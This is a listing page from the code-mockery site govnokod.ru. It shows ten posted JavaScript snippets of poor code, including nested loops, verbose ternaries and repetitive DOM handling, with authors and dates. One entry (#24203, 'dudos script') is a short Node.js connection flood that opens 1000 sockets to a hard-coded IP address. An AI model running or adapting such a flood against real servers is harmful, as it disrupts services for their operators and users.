1. JavaScript / Говнокод #24390

    0

    1. 1
    2. 2
    3. 3
    function _random_key() {
        return '_' + new Date().getTime();
    }

    Fucking random!

    BonzoBoom, 17 Июня 2018

    Комментарии (4)
  2. JavaScript / Говнокод #24345

    0

    1. 1
    2. 2
    3. 3
    4. 4
    var comment = document.querySelector('textarea#formElm_text');
      var info = comment.parentNode;
    
      if(!comment || !info) return;

    https://github.com/1024--/govnokod.ru-userscripts/blob/master/bbcode.user.js

    minusinho, 31 Мая 2018

    Комментарии (14)
  3. JavaScript / Говнокод #24308

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    list.forEach((element1) => {
        if (element1.parent_id == null){
            output.push(element1);
            list.forEach((element2) => {
                if (element2.parent_id == element1.id) {
                    output.push(element2);
                    list.forEach((element3) => {
                        if (element3.parent_id == element2.id) {
                            output.push(element3);
                            list.forEach((element4) => {
                                if (element4.parent_id == element3.id) {
                                    output.push(element4);
                                }
                            })
                        }
                    })
                }
            })
        }
    })

    Super forEach

    govnokoooder, 23 Мая 2018

    Комментарии (0)
  4. JavaScript / Говнокод #24290

    −2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if (query) {
            searchParams.area = query.area_from && query.area_from !== 'all' && query.area_from.length !== 0 && query.area_to && query.area_to !== 'all' && query.area_to.length !== 0 ? [query.area_from, query.area_to] : ['0', '100']
            searchParams.price = query.price_from && query.price_from !== 'all' && query.price_from.length !== 0 && query.price_to && query.price_to !== 'all' && query.price_to.length !== 0 ? [query.price_from, query.price_to] : ['0', '10']
            searchParams.floor = query.floor_from && query.floor_from !== 'all' && query.floor_from.length !== 0 && query.floor_to && query.floor_to !== 'all' && query.floor_to.length !== 0 ? [query.floor_from, query.floor_to] : ['0', '100']
            searchParams.last_first = query.last_first && query.last_first !== 'all' && query.last_first.length !== 0 ? query.last_first : null
            searchParams.promo = query.promo && query.promo !== 'all' && query.promo.length !== 0 ? query.promo : null
            searchParams.assignment = query.assignment && query.assignment !== 'all' && query.assignment.length !== 0 ? query.assignment : null

    no coments

    YRTRK, 19 Мая 2018

    Комментарии (6)
  5. JavaScript / Говнокод #24223

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    function isPalindrom1(str) {
        if (str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, '') === str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, 
        '').split('').reverse().join('')) {
            return true;
         } else {
            return false;
         }
    }

    "Красиво, просто, изящно."
    h: post/351874/

    gost, 04 Мая 2018

    Комментарии (7)
  6. JavaScript / Говнокод #24214

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    $(document).ready(function() {
    	console.log("Ready");
    
    	var
    		block_1 = document.getElementsByClassName('block_1')[0],
    		block_2 = document.getElementsByClassName('block_2')[0],
    		block_3 = document.getElementsByClassName('block_3')[0],
    		block_4 = document.getElementsByClassName('block_4')[0],
    		open_1 = document.getElementsByClassName('open-1')[0],
    		open_2 = document.getElementsByClassName('open-2')[0],
    		open_3 = document.getElementsByClassName('open-3')[0],
    		open_4 = document.getElementsByClassName('open-4')[0];
    	
    
    	open_1.onclick = function(){
    		block_1.style.display = "block";
    		block_2.style.display = "none";
    		block_3.style.display = "none";
    		block_4.style.display = "none";
    	};
    
    	open_2.onclick = function() {
        	block_2.style.display = "block";
        	block_1.style.display = "none";
        	block_3.style.display = "none";
    		block_4.style.display = "none";
    	};
    
    	open_3.onclick = function() {
        	block_2.style.display = "none";
        	block_1.style.display = "none";
        	block_3.style.display = "block";
    		block_4.style.display = "none";
    	};
    	
    	open_4.onclick = function() {
        	block_2.style.display = "none";
        	block_1.style.display = "none";
        	block_3.style.display = "none";
    		block_4.style.display = "block";
    	};
    });

    DNRAWW, 02 Мая 2018

    Комментарии (8)
  7. JavaScript / Говнокод #24203

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    var net = require("net");
    Array.from({ length: 1000 }, (x, i) => i).map(id => makeClient(id));
    function makeClient(id) {
      var client = net.createConnection({ host: "46.101.246.194", port: 80 }, () =>
        console.log(`[${id}] connected`)
      );
      client.on("end", () => console.log(`[${id}] disconnect`));
      return client;
    }

    govnokod dudos script

    ec80dbca-8f52-4517, 28 Апреля 2018

    Комментарии (13)
  8. JavaScript / Говнокод #24202

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    /**
    * Вхождения слова "питушня" в говнокодах по языкам
    */
    
    {
         "C++": 124,
         "PHP": 56,
         "Куча": 54,
         "C": 41,
         "JavaScript": 39,
         "C#": 25,
         "Python": 11,
         "Java": 10,
         "Pascal": 8,
         "SQL": 7,
         "VisualBasic": 2,
         "Swift": 2,
         "ActionScript": 1,
         "Assembler": 1,
         "Perl": 1,
         "Haskell": 1,
         "Ruby": 1,
         "1C": 0,
         "Lua": 0,
         "Objective C": 0,
         "bash": 0
    }

    mazhuravlev, 28 Апреля 2018

    Комментарии (11)
  9. JavaScript / Говнокод #24200

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    /**
     * Peetushna
     * Node.js 10
     * node index.js > report.csv
     */
    
    const { get } = require("axios");
    const { load } = require("cheerio");
    
    Promise.resolve().then(async () => {
      const responses = reqGen(1, 25000);
      const peetushna = /питушня/g;
      for await (const resp of responses) {
        if (resp.status != 200) break;
        const wordCount = resp.data.match(peetushna);
        const count = wordCount ? wordCount.length : 0;
        const html = load(resp.data);
        const lang = html('a[rel="chapter"]')
          .text()
          .replace("Си", "C");
        console.log(`"${lang}", ${count}`);
      }
    });
    
    async function* reqGen(first, max) {
      while (first <= max) {
        try {
          const resp = await get("http://govnokod.ru/" + first++);
          yield resp;
        } catch (e) {
          //
        }
      }
    }

    mazhuravlev, 27 Апреля 2018

    Комментарии (6)
  10. JavaScript / Говнокод #24198

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    function running(html, clear) {
    	var	id, brk = true;
    	if(clear)
    		html.className = "";
    	if(html.className != "Ready") {
    		if(html.children.length > 0) {
    			if(!clear) {
    				for(id = 1; id < html.childNodes.length; ++ id) {
    					var	active = findActive(html.childNodes[id]);
    					if(active == null) {
    						brk = true;
    						break;
    					}
    					brk = active.className != "Ready" ? false : brk;
    				}
    			}
    			if(!brk && html.childNodes[0].value && html.childNodes[0].max) {
    				if(clear)
    					html.childNodes[0].value = 1;
    				else
    				if(html.childNodes[0].value <= html.childNodes[0].max) {
    					++ html.childNodes[0].value;
    					if(brk) {
    						for(id = 1; id < html.childNodes.length; ++ id)
    							findActive(html.childNodes[id], true);
    						html.parentNode.className = "";
    					}
    					return null;
    				} else {
    					html.parentNode.className = "Ready";
    					html.className = "";
    					return html;
    				}
    			}
    			if(!clear)
    				html.className = html.className != "Active" ? "Active" : "Ready";
    			return null;
    		} else {
    			if(!clear)
    				html.className = html.className != "Active" ? "Active" : "Ready";
    			return html;
    		}
    	}
    	return html;
    }

    Должен бегать по вложенным элементам и анимировать их.

    Alikberov, 27 Апреля 2018

    Комментарии (1)